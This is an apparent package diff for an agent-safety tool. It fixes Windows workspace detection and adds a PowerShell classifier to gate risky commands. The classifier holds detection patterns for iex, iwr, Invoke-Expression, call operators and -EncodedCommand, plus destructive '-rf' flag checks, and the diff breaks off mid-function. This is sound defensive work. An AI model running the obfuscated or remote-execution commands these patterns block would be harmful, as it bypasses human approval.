@jaguilar87/gaia 5.2.0-rc.2 → 5.2.0-rc.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,7 +9,7 @@
9
9
  {
10
10
  "name": "gaia",
11
11
  "description": "Security-first multi-agent orchestration for Claude Code. Specialized agents cover the full development lifecycle — analysis, planning, execution, deployment — with codebase-aware context injection. Every command is risk-classified: read-only runs freely, state changes pause for your approval, and irreversible operations are permanently blocked.",
12
- "version": "5.2.0-rc.2",
12
+ "version": "5.2.0-rc.3",
13
13
  "category": "devops",
14
14
  "author": {
15
15
  "name": "jaguilar87",
@@ -19,7 +19,7 @@
19
19
  "source": {
20
20
  "source": "github",
21
21
  "repo": "metraton/gaia",
22
- "ref": "v5.2.0-rc.2"
22
+ "ref": "v5.2.0-rc.3"
23
23
  }
24
24
  }
25
25
  ]
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "gaia",
3
- "version": "5.2.0-rc.2",
3
+ "version": "5.2.0-rc.3",
4
4
  "description": "Security-first multi-agent orchestration for Claude Code. Agents span the full lifecycle; commands are risk-classified \u2014 reads run free, state changes need approval, irreversible ops blocked.",
5
5
  "author": {
6
6
  "name": "jaguilar87",
package/CHANGELOG.md CHANGED
@@ -29,6 +29,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
29
29
  - `gaia context prune-workspaces --yes` is now correctly classified T3 (state-mutating): it hard-deletes `workspaces` rows, but the `context` group carried no mutative verb and classified read-only by elimination. Only the destructive subcommand is anchored (`COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES[("gaia","context")]`); other `context` subcommands stay read-only. Separately, the Step 5 ALWAYS-dangerous flag scan now runs before the read-only-verb early return, so `git fetch --prune` (a read-only verb with a destructive flag) escalates to T3 instead of being skipped.
30
30
  - SubagentStop M4 fence footgun: a turn that built its contract via the `gaia contract` CLI and ran `gaia contract finalize` (valid terminal row) but forgot to echo the fenced `agent_contract_handoff` in its response text was hard-rejected by the full-verdict gate. `adapt_subagent_stop` now reconstructs the envelope from the agent's own finalized draft when the fence is missing, so the gate parses the completed contract; non-fatal (falls back to the unchanged gate when no finalized row exists). The minted-agent-id resolver was factored into a shared `resolve_minted_agent_id` reused by the backstop, truncation salvage, and this path.
31
31
 
32
+ ## [5.2.0-rc.3] - 2026-07-17
33
+
32
34
  ## [5.2.0-rc.2] - 2026-07-17
33
35
 
34
36
  ## [5.2.0-rc.1] - 2026-07-17
package/bin/cli/doctor.py CHANGED
@@ -204,10 +204,21 @@ def _derive_workspace(override: str = None) -> Path:
204
204
  return workspace
205
205
 
206
206
  # --- No inferable consumer workspace ---
207
+ # Legible, actionable failure -- NOT a raw CRITICAL. Reached when Gaia is
208
+ # not running from inside a workspace's node_modules/@jaguilar87/gaia tree
209
+ # (global or symlinked install) AND GAIA_WORKSPACE_PATH is unset or points
210
+ # at a dir without .claude/. The two remedies are explicit; no cwd walk-up
211
+ # and no forced --workspace (both deliberately avoided).
207
212
  print(
208
- "gaia doctor: global or symlinked install detected; "
209
- "no consumer workspace inferable. "
210
- "Specify --workspace <path> to choose one.",
213
+ "gaia doctor: could not resolve a workspace to check "
214
+ "(global or symlinked install detected, and GAIA_WORKSPACE_PATH is "
215
+ "not set to a directory with .claude/).\n"
216
+ " Fix it one of two ways:\n"
217
+ " - run `gaia doctor --workspace <path>` to check a specific "
218
+ "workspace now, or\n"
219
+ " - reinstall with `gaia install --workspace <path>` (on Windows "
220
+ "this also persists GAIA_WORKSPACE_PATH so doctor resolves the "
221
+ "workspace automatically).",
211
222
  file=sys.stderr,
212
223
  )
213
224
  sys.exit(2)
@@ -121,15 +121,28 @@ _SEED_SURFACE_ROUTING = _PACKAGE_ROOT / "tools" / "scan" / "seed_surface_routing
121
121
  # and wins over npm's by being written to Gaia's own bin dir (default
122
122
  # ``~/.local/bin``): when that dir precedes the npm prefix on PATH, cmd.exe /
123
123
  # PowerShell resolve ``gaia`` (``gaia.cmd`` / ``gaia.ps1``) to Gaia's launcher,
124
- # which sets GAIA_WORKSPACE_PATH before dispatching. Where Gaia's dir is NOT
125
- # ahead of the npm prefix, npm's shim still runs and still dispatches correctly
126
- # for workspace-independent subcommands; only the workspace-derivation path
127
- # needs the env var, and the doctor `__file__` fallback keeps working. The
128
- # env-var contract is the load-bearing coupling, not the PATH order.
124
+ # which sets GAIA_WORKSPACE_PATH before dispatching.
125
+ #
126
+ # Where Gaia's dir is NOT ahead of the npm prefix (the common case on Windows,
127
+ # where ``~/.local/bin`` is not on PATH by convention), npm's shim wins and
128
+ # execs ``bin/gaia`` WITHOUT the process-scoped GAIA_WORKSPACE_PATH export. The
129
+ # doctor `__file__` fallback does NOT save this case: with the npm global shim,
130
+ # ``__file__`` resolves into the npm prefix, so ``doctor._derive_workspace``
131
+ # derives the npm prefix as the "workspace" and emits a FALSE CRITICAL (this is
132
+ # the observed rc.2 bug, not a hypothetical). Two things close it, so the fix
133
+ # does not depend on PATH order:
134
+ # 1. `gaia install` on Windows PERSISTS GAIA_WORKSPACE_PATH to the USER
135
+ # environment (`setx`, see `_persist_workspace_env`). The next `gaia
136
+ # doctor` is a fresh process that inherits it, so doctor resolves the
137
+ # workspace via the env var regardless of which `gaia` won the PATH.
138
+ # 2. `gaia install` WARNS when Gaia's launcher dir is not ahead of the npm
139
+ # prefix on PATH (see `_launcher_path_precedence`), so the shadowed-launcher
140
+ # condition is a visible, actionable signal instead of a silent surprise.
129
141
  #
130
142
  # Re-running `gaia install` from a different workspace rewrites the launcher(s)
131
- # to point at that workspace -- the install action is what selects which
132
- # workspace the launcher targets.
143
+ # to point at that workspace AND re-persists GAIA_WORKSPACE_PATH -- the install
144
+ # action is what selects which workspace both the launcher and the env var
145
+ # target (last-install-wins, single-valued).
133
146
 
134
147
  # POSIX bash launcher. The workspace path is resolved at install time and baked
135
148
  # in verbatim. No discovery, no env vars, no fallbacks -- a 3-line exec.
@@ -451,6 +464,145 @@ def _write_windows_launcher_file(path: Path, content: str, overwrite: bool) -> s
451
464
  _create_path_symlink = _install_path_launcher
452
465
 
453
466
 
467
+ # ---------------------------------------------------------------------------
468
+ # Windows: persist GAIA_WORKSPACE_PATH + PATH-shadow warning
469
+ # ---------------------------------------------------------------------------
470
+ #
471
+ # On Windows the launcher only exports GAIA_WORKSPACE_PATH PROCESS-scoped (see
472
+ # the launcher templates). If npm's own `gaia.cmd` wins the PATH lookup, Gaia's
473
+ # launcher never runs, the env var is never set, and doctor derives the npm
474
+ # prefix as the workspace -> false CRITICAL. Persisting the var at USER scope
475
+ # (`setx`) makes doctor resolve the workspace regardless of which `gaia` wins,
476
+ # because the next `gaia doctor` is a NEW process that inherits the user env.
477
+
478
+
479
+ def _persist_workspace_env(workspace: Path) -> dict:
480
+ """Windows only: persist GAIA_WORKSPACE_PATH to the USER environment.
481
+
482
+ Uses ``setx GAIA_WORKSPACE_PATH "<workspace>"`` -- a documented, built-in
483
+ Windows command that writes the value under HKCU\\Environment and broadcasts
484
+ WM_SETTINGCHANGE. Chosen over a direct ``winreg.SetValueEx`` because it is
485
+ a single self-contained call (no manual broadcast, no HKCU key handling),
486
+ and it mirrors the subprocess pattern the rest of this module already uses
487
+ (bootstrap, seeders). ``setx`` truncates at 1024 chars, which a workspace
488
+ path never approaches.
489
+
490
+ Semantics: last-install-wins, single-valued -- coherent with the launcher,
491
+ which bakes exactly one workspace. ``setx`` applies to FUTURE processes
492
+ (the current shell keeps its old value), which is precisely what doctor
493
+ needs: the next `gaia doctor` invocation is a new process.
494
+
495
+ Returns a step-result dict (``action``/``details``) compatible with
496
+ ``_report_step``. Never raises -- a failure here is advisory (the
497
+ process-scoped launcher export still covers the launcher path).
498
+ """
499
+ if not _is_windows():
500
+ return {"action": "noop", "details": "not Windows -- no env persistence needed"}
501
+
502
+ value = str(workspace)
503
+ try:
504
+ result = subprocess.run(
505
+ ["setx", "GAIA_WORKSPACE_PATH", value],
506
+ capture_output=True,
507
+ text=True,
508
+ check=False,
509
+ )
510
+ except OSError as exc:
511
+ return {"action": "error", "details": f"setx invocation failed: {exc}"}
512
+
513
+ if result.returncode != 0:
514
+ detail = (result.stderr or result.stdout or "unknown error").strip()[:200]
515
+ return {"action": "error", "details": f"setx exited {result.returncode}: {detail}"}
516
+
517
+ return {
518
+ "action": "created",
519
+ "details": f"GAIA_WORKSPACE_PATH persisted (user env) -> {value}",
520
+ }
521
+
522
+
523
+ def _npm_global_prefix() -> "Path | None":
524
+ """Best-effort npm global prefix on Windows (where npm writes its shim).
525
+
526
+ Under ``npm install -g``, npm writes ``gaia.cmd`` into ``%APPDATA%\\npm``.
527
+ We use that convention rather than shelling out to ``npm config get prefix``
528
+ to keep the check offline and fast -- it feeds only an ADVISORY warning, so
529
+ a heuristic is acceptable. Returns None when APPDATA is unset (then the
530
+ precedence check only verifies Gaia's dir is present at all).
531
+ """
532
+ appdata = os.environ.get("APPDATA")
533
+ if appdata:
534
+ return Path(appdata) / "npm"
535
+ return None
536
+
537
+
538
+ def _launcher_path_precedence(
539
+ gaia_bin_dir: Path,
540
+ npm_prefix: "Path | None",
541
+ path_dirs: "list[str]",
542
+ ) -> "str | None":
543
+ """Return an actionable warning when Gaia's launcher will NOT win the
544
+ ``gaia`` name resolution against npm's own shim -- else None.
545
+
546
+ Pure and platform-agnostic (every input is passed in), so it is unit-
547
+ testable on any OS. Comparison is case-insensitive and path-normalized
548
+ (Windows PATH entries vary in case and separators).
549
+
550
+ Two shadowing conditions produce a warning:
551
+ 1. Gaia's launcher dir is not on PATH at all -> npm's shim always wins.
552
+ 2. The npm prefix precedes Gaia's dir on PATH -> npm's shim wins.
553
+ """
554
+ def _norm(p) -> str:
555
+ return os.path.normcase(os.path.normpath(str(p)))
556
+
557
+ normalized = [_norm(p) for p in path_dirs if p]
558
+ gaia_norm = _norm(gaia_bin_dir)
559
+
560
+ gaia_idx = normalized.index(gaia_norm) if gaia_norm in normalized else None
561
+
562
+ if gaia_idx is None:
563
+ return (
564
+ f"{gaia_bin_dir} is not on PATH -- npm's own `gaia` shim will run "
565
+ "instead of Gaia's workspace-bound launcher. Add that dir to PATH "
566
+ "(ahead of the npm prefix) so `gaia` resolves to Gaia's launcher."
567
+ )
568
+
569
+ if npm_prefix is not None:
570
+ npm_norm = _norm(npm_prefix)
571
+ npm_idx = normalized.index(npm_norm) if npm_norm in normalized else None
572
+ if npm_idx is not None and npm_idx < gaia_idx:
573
+ return (
574
+ f"the npm prefix ({npm_prefix}) precedes Gaia's launcher dir "
575
+ f"({gaia_bin_dir}) on PATH -- npm's `gaia` shim wins, so the "
576
+ "workspace-bound launcher will not run. Move Gaia's dir ahead "
577
+ "of the npm prefix on PATH."
578
+ )
579
+
580
+ return None
581
+
582
+
583
+ def _warn_launcher_shadowed(link: "Path | str", quiet: bool) -> "str | None":
584
+ """Windows only: emit an actionable warning when the launcher dir will not
585
+ win ``gaia`` resolution against npm's shim.
586
+
587
+ The plain ``PATH launcher: gaia.cmd=created`` step line is misleading when
588
+ the launcher is shadowed on PATH (it reports creation, not effectiveness);
589
+ this converts that into a visible, actionable signal. Returns the warning
590
+ message (also printed to stderr unless quiet) or None when not shadowed.
591
+ """
592
+ if not _is_windows():
593
+ return None
594
+
595
+ gaia_bin_dir = Path(link).expanduser().parent
596
+ warning = _launcher_path_precedence(
597
+ gaia_bin_dir=gaia_bin_dir,
598
+ npm_prefix=_npm_global_prefix(),
599
+ path_dirs=os.environ.get("PATH", "").split(os.pathsep),
600
+ )
601
+ if warning and not quiet:
602
+ print(f" [!] PATH launcher: {warning}", file=sys.stderr)
603
+ return warning
604
+
605
+
454
606
  # ---------------------------------------------------------------------------
455
607
  # Bootstrap invocation
456
608
  # ---------------------------------------------------------------------------
@@ -931,6 +1083,21 @@ def cmd_install(args: argparse.Namespace) -> int:
931
1083
  # retargets the shim.
932
1084
  path_res = _install_path_launcher(workspace=workspace)
933
1085
  _report_step(name="PATH launcher", result=path_res, quiet=quiet, verbose=verbose)
1086
+ # Windows: the "created" line above reports the launcher was WRITTEN,
1087
+ # not that it will WIN `gaia` resolution. Warn when Gaia's launcher dir
1088
+ # is not ahead of the npm prefix on PATH -- an actionable signal, not a
1089
+ # false all-clear. No-op on POSIX.
1090
+ _warn_launcher_shadowed(link="~/.local/bin/gaia", quiet=quiet)
1091
+
1092
+ # Step 6.6 -- Windows: persist GAIA_WORKSPACE_PATH to the user environment
1093
+ # so `gaia doctor` resolves THIS workspace regardless of which `gaia` wins
1094
+ # PATH. The launcher only exports it process-scoped; without this, when
1095
+ # npm's shim wins, doctor derives the npm prefix and emits a false CRITICAL
1096
+ # (the rc.2 bug). Runs even under --no-path: the env var, not the launcher,
1097
+ # is what makes doctor's derivation correct. No-op on POSIX.
1098
+ if _is_windows():
1099
+ env_res = _persist_workspace_env(workspace)
1100
+ _report_step(name="workspace-env", result=env_res, quiet=quiet, verbose=verbose)
934
1101
 
935
1102
  # Install owns Steps 1-6 only. Workspace scanning is a separate, on-demand
936
1103
  # flow (`gaia scan`); install never triggers it. A clean install clears any
@@ -631,6 +631,81 @@ _PY_MODULE_PACKAGE_MANAGERS: FrozenSet[str] = frozenset({
631
631
  "pip", "pip3", "pipenv", "poetry", "uv",
632
632
  })
633
633
 
634
+ # ---------------------------------------------------------------------------
635
+ # PowerShell lane (Step 1c-ps): Windows/.NET interpreter introspection
636
+ # ---------------------------------------------------------------------------
637
+ # The POSIX verb scanner is blind to PowerShell: `powershell.exe -Command
638
+ # "<script>"` collapses the payload into one opaque token, so a mutative
639
+ # `Remove-Item` inside it is never seen (false negative), while the old `-rf`
640
+ # flag heuristic mis-read `-NoProfile` as `-rf` and over-blocked EVERY call
641
+ # (false positive). This lane mirrors `_INLINE_CODE_MAP`/`_check_script_file`
642
+ # for the Windows shell: it introspects the payload and classifies each cmdlet
643
+ # by its Verb-Noun VERB (the part before the hyphen) against PowerShell's own
644
+ # approved-verb taxonomy -- so a never-seen cmdlet classifies correctly by its
645
+ # verb (`Get-FooBar` -> read, `Set-FooBar` -> change) with NO per-cmdlet list.
646
+ _POWERSHELL_INTERPRETERS: FrozenSet[str] = frozenset({
647
+ "powershell", "powershell.exe", "pwsh", "pwsh.exe",
648
+ })
649
+
650
+ # Read/inspection verbs -> NON-mutative (T0/T1). The part before the hyphen of
651
+ # a Verb-Noun cmdlet; matched case-insensitively. Drawn from PowerShell's
652
+ # approved-verb groups (Common/Data/Diagnostic) that only OBSERVE state.
653
+ _PS_READ_VERBS: FrozenSet[str] = frozenset({
654
+ "get", "measure", "select", "where", "sort", "compare",
655
+ "test", "resolve", "find", "search", "show", "format",
656
+ "convertfrom", "convertto", "group", "join", "split", "read",
657
+ })
658
+
659
+ # Change verbs -> MUTATIVE (T3). Any of these anywhere in the payload escalates
660
+ # the WHOLE payload (composition rule mirror: any mutative stage -> T3).
661
+ _PS_CHANGE_VERBS: FrozenSet[str] = frozenset({
662
+ "set", "new", "remove", "clear", "add", "move", "copy", "rename",
663
+ "start", "stop", "restart", "suspend", "resume", "register",
664
+ "unregister", "install", "uninstall", "import", "export", "write",
665
+ "enable", "disable", "mount", "dismount", "invoke", "push", "pop",
666
+ "save", "publish", "send", "update", "edit", "reset", "limit", "block",
667
+ })
668
+
669
+ # The `Out-*` verb is ambiguous: `Out-String`/`Out-Host`/`Out-Null` only render
670
+ # to the pipeline/console (read), while `Out-File`/`Out-Printer` WRITE (change).
671
+ # Split by noun rather than lumping the whole verb into one set.
672
+ _PS_OUT_READ_NOUNS: FrozenSet[str] = frozenset({
673
+ "string", "host", "null", "default", "gridview",
674
+ })
675
+
676
+ # A Verb-Noun cmdlet token: a letter-led word, a hyphen, then a noun word.
677
+ # A leading flag ("-Recurse", "-Command") cannot match -- the pattern requires
678
+ # a letter immediately BEFORE the hyphen, and flags start with the hyphen.
679
+ _PS_CMDLET_RE = _re.compile(r"\b([A-Za-z][A-Za-z]*)-([A-Za-z][A-Za-z0-9]*)\b")
680
+
681
+ # Obfuscation / non-inspectable-execution markers -> T3 regardless of the
682
+ # surrounding cmdlets. These run BEFORE the cmdlet allowlist so a benign read
683
+ # cmdlet piped into `iex` (`Get-Content x | iex`) cannot launder the payload.
684
+ # iex / iwr / icm : bare aliases (Invoke-Expression / -WebRequest / -Command)
685
+ # call operators : `&`/`.` at a statement boundary invoke an arbitrary target
686
+ _PS_OBFUSCATION_RES: Tuple["_re.Pattern[str]", ...] = (
687
+ _re.compile(r"\b(iex|iwr|icm)\b", _re.IGNORECASE),
688
+ _re.compile(r"\binvoke-expression\b", _re.IGNORECASE),
689
+ # `&` or `.` used as a call operator at a statement boundary (start of
690
+ # payload or right after `;` `|` `{` `(` `&&`), followed by whitespace and a
691
+ # target. Excludes a trailing path dot ("Get-ChildItem .") which has no
692
+ # following target.
693
+ _re.compile(r"(?:^|[;|{(]|&&)\s*[&.]\s+\S"),
694
+ )
695
+
696
+ # PowerShell `-EncodedCommand <base64>` (and its unambiguous abbreviations) hides
697
+ # the real script inside a base64 blob that cannot be introspected -> T3. Any
698
+ # flag whose body is a prefix of "encodedcommand" (len>=2) or the documented
699
+ # short alias "ec" is treated as the encoded-command flag.
700
+ def _is_ps_encoded_flag(flag: str) -> bool:
701
+ body = flag.lstrip("-").lower()
702
+ if not body:
703
+ return False
704
+ if body == "ec":
705
+ return True
706
+ return len(body) >= 2 and "encodedcommand".startswith(body)
707
+
708
+
634
709
  # ---------------------------------------------------------------------------
635
710
  # Layer 1: Shell command extraction from string literals
636
711
  # ---------------------------------------------------------------------------
@@ -1255,6 +1330,44 @@ CLI_FAMILY_LOOKUP: Dict[str, str] = {
1255
1330
  # Dangerous Flag Scanning
1256
1331
  # ============================================================================
1257
1332
 
1333
+ # Longest packed POSIX short-flag bundle the ``-rf`` heuristic will consider.
1334
+ # Real destructive bundles are short ("-rf"=2, "-rfi"=3, "-rfvd"=4); a token
1335
+ # longer than this is a long-form word flag ("-NoProfile", "-Recurse"), not a
1336
+ # bundle of single-character flags.
1337
+ _MAX_POSIX_SHORT_FLAG_CLUSTER = 4
1338
+
1339
+ # A CamelCase boundary (an uppercase letter immediately followed by a lowercase
1340
+ # one) marks a word, not a flag bundle: "No"/"Pro" in "-NoProfile", "Fo" in
1341
+ # "-Force". Genuine packed short-flag bundles are lowercase ("-rf", "-rfi").
1342
+ _CAMEL_WORD_RE = _re.compile(r"[A-Z][a-z]")
1343
+
1344
+
1345
+ def _is_posix_short_flag_cluster(flag_chars: str) -> bool:
1346
+ """True when *flag_chars* looks like a genuine packed POSIX short-flag bundle.
1347
+
1348
+ ``flag_chars`` is the token body with the leading ``-`` already stripped
1349
+ ("rf" for "-rf", "NoProfile" for "-NoProfile"). A packed bundle is a run of
1350
+ single-character flags -- short, all letters, no CamelCase word boundary. A
1351
+ long single-dash word flag from the .NET/PowerShell/Java family
1352
+ ("-NoProfile", "-Force", "-Recurse", "-ExecutionPolicy") is NOT a bundle and
1353
+ must not be mined for stray ``r``/``f`` characters.
1354
+
1355
+ Trade-off (documented): an uppercase-led bundle such as ``-Rf`` is treated
1356
+ as a word ("Rf" trips the CamelCase gate) and so is NOT matched here. This
1357
+ is deliberate -- excluding the ubiquitous ``-NoProfile`` false positive on
1358
+ every PowerShell command is worth far more than catching the rare
1359
+ uppercase-packed ``-Rf`` form, and the ``-R``/``-r``/``-f`` single flags are
1360
+ still caught by their exact-match handling above.
1361
+ """
1362
+ if not flag_chars or len(flag_chars) > _MAX_POSIX_SHORT_FLAG_CLUSTER:
1363
+ return False
1364
+ if not flag_chars.isalpha():
1365
+ return False
1366
+ if _CAMEL_WORD_RE.search(flag_chars):
1367
+ return False
1368
+ return True
1369
+
1370
+
1258
1371
  def _scan_dangerous_flags(
1259
1372
  tokens: Union[List[str], tuple],
1260
1373
  cli: str,
@@ -1314,15 +1427,26 @@ def _scan_dangerous_flags(
1314
1427
  found.append(token)
1315
1428
 
1316
1429
  # Check for compound short flags containing dangerous combos
1317
- # e.g., "-rfi" contains both -r and -f
1430
+ # e.g., "-rfi" contains both -r and -f.
1431
+ #
1432
+ # This heuristic MUST fire only on genuine packed POSIX short-flag
1433
+ # bundles ("-rf", "-rfi", "-fv"), never on a long single-dash *word*
1434
+ # flag from the .NET/PowerShell/Java family ("-NoProfile", "-Force",
1435
+ # "-Recurse", "-Xmx"). The old rule tested only ``"r" in chars and "f"
1436
+ # in chars`` on any >2-char single-dash token, so "-NoProfile"
1437
+ # (P**rof**ile carries both r and f) was mis-read as "-rf" -- turning
1438
+ # EVERY PowerShell invocation (Claude Code prepends ``-NoProfile``) into
1439
+ # a spurious T3. ``_is_posix_short_flag_cluster`` gates the branch so a
1440
+ # word-flag no longer matches, while real packed bundles still do.
1318
1441
  elif len(token) > 2 and token[0] == "-" and token[1] != "-":
1319
1442
  flag_chars = token[1:]
1320
- if "r" in flag_chars and "f" in flag_chars:
1321
- found.append(token)
1322
- elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
1323
- found.append(token)
1324
- elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
1325
- found.append(token)
1443
+ if _is_posix_short_flag_cluster(flag_chars):
1444
+ if "r" in flag_chars and "f" in flag_chars:
1445
+ found.append(token)
1446
+ elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
1447
+ found.append(token)
1448
+ elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
1449
+ found.append(token)
1326
1450
 
1327
1451
  return tuple(found)
1328
1452
 
@@ -1645,6 +1769,22 @@ def detect_mutative_command(
1645
1769
  if py_module_result is not None:
1646
1770
  return py_module_result
1647
1771
 
1772
+ # --- Step 1c-ps: PowerShell command / script introspection ---
1773
+ # ``powershell.exe -Command "<script>"`` collapses its payload into a single
1774
+ # opaque token, so the POSIX verb scanner never sees the cmdlets inside it --
1775
+ # a destructive ``Remove-Item -Recurse`` slips through as safe-by-elimination
1776
+ # while every benign PowerShell call is over-blocked. Introspect the payload
1777
+ # of ``-Command``/``-c`` (and ``-File <script.ps1>`` via its file contents),
1778
+ # classify each cmdlet by its Verb-Noun verb against the approved-verb
1779
+ # taxonomy, escalate the WHOLE payload to T3 on any change/unknown verb or
1780
+ # obfuscation marker, and fall back to conservative T3 on an un-inspectable
1781
+ # payload. Returns None when the command is not a PowerShell interpreter.
1782
+ ps_result = _check_powershell_command(
1783
+ command, base_cmd, family, semantics, cwd=cwd, _depth=_depth,
1784
+ )
1785
+ if ps_result is not None:
1786
+ return ps_result
1787
+
1648
1788
  # --- Step 1d: Script-file analysis (python3 deploy.py, bash setup.sh, ./x) ---
1649
1789
  # An interpreter invoked with a script FILE as a positional argument, or a
1650
1790
  # direct ``./script`` invocation, hides its mutations inside the file --
@@ -2557,6 +2697,181 @@ def _resolve_script_argument(
2557
2697
  return None
2558
2698
 
2559
2699
 
2700
+ def _classify_powershell_verb(verb: str, noun: str) -> str:
2701
+ """Classify a single PowerShell cmdlet by its Verb-Noun verb.
2702
+
2703
+ Returns one of ``"read"`` (non-mutative), ``"change"`` (mutative), or
2704
+ ``"unknown"`` (verb in neither approved set -> conservative T3). ``verb``
2705
+ and ``noun`` are already lowercased. The ``Out-*`` verb is split by noun:
2706
+ ``Out-String``/``Out-Host``/``Out-Null`` render only (read), while
2707
+ ``Out-File``/``Out-Printer`` write (change).
2708
+ """
2709
+ if verb == "out":
2710
+ return "read" if noun in _PS_OUT_READ_NOUNS else "change"
2711
+ if verb in _PS_READ_VERBS:
2712
+ return "read"
2713
+ if verb in _PS_CHANGE_VERBS:
2714
+ return "change"
2715
+ return "unknown"
2716
+
2717
+
2718
+ def _classify_powershell_payload(
2719
+ payload: str, family: str, source: str,
2720
+ ) -> MutativeResult:
2721
+ """Classify a PowerShell script payload by cmdlet verb taxonomy.
2722
+
2723
+ ``payload`` is the raw text of a ``-Command`` string or a ``.ps1`` file.
2724
+ Rules (all conservative / positive-allowlist):
2725
+ 1. Obfuscation markers (``iex``/``iwr``/``icm``, ``Invoke-Expression``,
2726
+ a ``&``/``.`` call operator) escalate to T3 FIRST -- before the cmdlet
2727
+ scan -- so a read cmdlet piped into ``iex`` cannot launder the payload.
2728
+ 2. Every Verb-Noun cmdlet is classified by its verb. ANY change or
2729
+ unknown verb escalates the WHOLE payload to T3 (composition mirror).
2730
+ 3. To drop BELOW T3 every cmdlet must be a read verb AND at least one
2731
+ cmdlet must be present -- a payload with no recognizable cmdlet is
2732
+ T3 (cannot prove it is read-only; no safe-by-elimination here).
2733
+ """
2734
+ # 1. Obfuscation / non-inspectable execution.
2735
+ for rx in _PS_OBFUSCATION_RES:
2736
+ if rx.search(payload):
2737
+ return MutativeResult(
2738
+ is_mutative=True,
2739
+ category=CATEGORY_MUTATIVE,
2740
+ verb="powershell-obfuscation",
2741
+ cli_family=family,
2742
+ confidence="high",
2743
+ reason=(
2744
+ f"PowerShell {source} contains an obfuscation / "
2745
+ f"arbitrary-execution marker (iex / call-operator) "
2746
+ f"-- requires approval"
2747
+ ),
2748
+ )
2749
+
2750
+ # 2. Verb-Noun cmdlet scan.
2751
+ matches = _PS_CMDLET_RE.findall(payload)
2752
+ if not matches:
2753
+ return MutativeResult(
2754
+ is_mutative=True,
2755
+ category=CATEGORY_MUTATIVE,
2756
+ verb="powershell-uninspectable",
2757
+ cli_family=family,
2758
+ confidence="medium",
2759
+ reason=(
2760
+ f"PowerShell {source} has no recognizable Verb-Noun cmdlet "
2761
+ f"-- cannot prove it is read-only (conservative default)"
2762
+ ),
2763
+ )
2764
+
2765
+ for verb, noun in matches:
2766
+ v, n = verb.lower(), noun.lower()
2767
+ kind = _classify_powershell_verb(v, n)
2768
+ if kind == "change":
2769
+ return MutativeResult(
2770
+ is_mutative=True,
2771
+ category=CATEGORY_MUTATIVE,
2772
+ verb=f"{v}-{n}",
2773
+ cli_family=family,
2774
+ confidence="high",
2775
+ reason=(
2776
+ f"PowerShell {source} invokes change cmdlet "
2777
+ f"'{verb}-{noun}' (verb '{verb}') -- requires approval"
2778
+ ),
2779
+ )
2780
+ if kind == "unknown":
2781
+ return MutativeResult(
2782
+ is_mutative=True,
2783
+ category=CATEGORY_MUTATIVE,
2784
+ verb=f"{v}-{n}",
2785
+ cli_family=family,
2786
+ confidence="medium",
2787
+ reason=(
2788
+ f"PowerShell {source} invokes cmdlet '{verb}-{noun}' whose "
2789
+ f"verb '{verb}' is not an approved read verb "
2790
+ f"(conservative default)"
2791
+ ),
2792
+ )
2793
+
2794
+ # 3. Every cmdlet is a read verb.
2795
+ return MutativeResult(
2796
+ is_mutative=False,
2797
+ category=CATEGORY_READ_ONLY,
2798
+ verb="powershell-read",
2799
+ cli_family=family,
2800
+ confidence="high",
2801
+ reason=(
2802
+ f"PowerShell {source}: all cmdlets are approved read verbs "
2803
+ f"(Get/Measure/Select/... ) -- non-mutative"
2804
+ ),
2805
+ )
2806
+
2807
+
2808
+ def _check_powershell_command(
2809
+ command: str, base_cmd: str, family: str, semantics: "CommandSemantics",
2810
+ cwd: "Optional[str]" = None, _depth: int = 0,
2811
+ ) -> "Optional[MutativeResult]":
2812
+ """Classify a PowerShell invocation by introspecting its payload.
2813
+
2814
+ Recognizes ``powershell``/``powershell.exe``/``pwsh``/``pwsh.exe``. The
2815
+ payload source is, in priority order:
2816
+ * ``-EncodedCommand <base64>`` -> T3 immediately (non-inspectable).
2817
+ * ``-File <script.ps1>`` -> read the file and classify its contents
2818
+ (unreadable -> conservative T3, mirroring the script-file lane).
2819
+ * ``-Command``/``-c`` inline -> classify the raw command text (the
2820
+ interpreter flags carry no Verb-Noun cmdlet, so scanning the whole
2821
+ string is safe and captures the payload regardless of quoting).
2822
+ * no explicit payload flag -> scan the whole command text anyway; a
2823
+ bare interactive ``powershell`` with no cmdlet falls to conservative T3.
2824
+
2825
+ Returns ``None`` when ``base_cmd`` is not a PowerShell interpreter.
2826
+ """
2827
+ if base_cmd not in _POWERSHELL_INTERPRETERS:
2828
+ return None
2829
+
2830
+ flag_tokens = set(semantics.flag_tokens)
2831
+
2832
+ # -EncodedCommand: base64 payload is not inspectable -> conservative T3.
2833
+ if any(_is_ps_encoded_flag(f) for f in flag_tokens):
2834
+ return MutativeResult(
2835
+ is_mutative=True,
2836
+ category=CATEGORY_MUTATIVE,
2837
+ verb="powershell-encodedcommand",
2838
+ cli_family=family,
2839
+ confidence="high",
2840
+ reason=(
2841
+ "PowerShell invoked with -EncodedCommand (base64 payload) "
2842
+ "-- cannot introspect the script, requires approval"
2843
+ ),
2844
+ )
2845
+
2846
+ # -File <script.ps1>: classify the referenced file's contents. Routed off
2847
+ # an actual ``.ps1`` positional rather than the ``-File``/``-f`` flag: the
2848
+ # tokenizer normalizes a long single-dash flag into its single chars
2849
+ # (``-NoProfile`` -> ``-n -o ... -f ...``), so a flag-set membership test for
2850
+ # ``-f`` would false-positive on every ``-NoProfile`` invocation. A ``.ps1``
2851
+ # positional is the reliable, collision-free signal.
2852
+ ps_files = [
2853
+ t for t in semantics.non_flag_tokens if t.lower().endswith(".ps1")
2854
+ ]
2855
+ if ps_files:
2856
+ content = _read_script_content(ps_files[0], cwd=cwd)
2857
+ if content is None:
2858
+ return MutativeResult(
2859
+ is_mutative=True,
2860
+ category=CATEGORY_MUTATIVE,
2861
+ verb="powershell-file-unreadable",
2862
+ cli_family=family,
2863
+ confidence="medium",
2864
+ reason=(
2865
+ f"PowerShell -File '{ps_files[0]}' is not a readable file "
2866
+ f"-- cannot verify the payload (conservative default)"
2867
+ ),
2868
+ )
2869
+ return _classify_powershell_payload(content, family, "script file")
2870
+
2871
+ # -Command / -c inline, or no explicit payload flag: scan the command text.
2872
